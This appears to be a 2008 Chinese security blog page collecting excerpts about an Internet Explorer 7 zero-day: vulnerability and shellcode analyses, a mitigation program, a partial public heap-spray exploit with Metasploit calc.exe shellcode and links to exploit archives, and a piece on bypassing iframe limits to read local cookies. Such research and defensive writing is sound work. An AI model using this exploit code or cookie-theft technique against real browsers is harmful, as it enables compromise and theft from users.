标 题: 【原创】IE7 0day漏洞分析
作 者: xee
时 间: 2008-12-11,15:06
链 接: http://bbs.pediy.com/showthread.php?t=78480
2008.12.9看到knownsec的安全公告，发现IE7的0day，所以我也凑凑热闹
from http://hi.baidu.com/vessial
说实话，不怎么会javascript，所以分析也挺费劲的，
但是大体知道是个怎么回事触发这个漏洞的了
阅读全文 »
标 题: 【原创】IE7 0DAY漏洞所用shellcode的分析
作 者:轩辕小聪
时 间: 2008-12-11,20:37
链 接: http://bbs.pediy.com/showthread.php?t=78502
作者主页: http://hi.baidu.com/yicong2007
目 的: 纯属学习，请勿用于恶意用途
Platform: XP SP3
继上次flash漏洞所用shellcode的分析后，过了半年，IE7 0DAY又来了。于是我同样看了这个漏洞所用的shellcode。
阅读全文 »
作者：tombkeeper
说明：
这个程序的原理和今天白天“针对当前IE 7这个0day漏洞的临时解决方案”中的基本相同。不过因为是用程序实现的，所以优点是速度快，基本不占用内存，也基本不存在杀毒软件误报的问题。而且使用方便，安装后就不用再管，可以保护所有IE进程。不光对IE7、IE8有效，对IE6也有效。
阅读全文 »
// k`sOSe 12/10/2008 – tested on winxp sp3, explorer 7.0.5730.13
// windows/exec – 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:WINDOWSsystem32calc.exe
http://milw0rm.com/sploits/2008-iesploit.tar.gz
# milw0rm.com [2008-12-10]
Tags: 0day, Exploit, IE, xml<html>
<script>
// k`sOSe 12/10/2008
// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
// Heap spray address adjusted for Vista - muts / offensive-security.com
// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
// http://www.offensive-security.com/0day/iesploit-vista.rar
// windows/exec - 141 bytes
// http://www.metasploit.com
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
var block = unescape("%u0c0c%u0c0c");
var nops = unescape("%u9090%u9090%u9090");
阅读全文 »作者：aullik5
今天这篇主要是要讲以下这么几件事情：
1. iframe的限制
2. 突破iframe获取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的测试环境是： IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试，是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊，所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js，只能读取一些对象；子窗口也不能使用父窗口的js，也只能读部分对象，更多的比如document啥的都限制了。
阅读全文 »
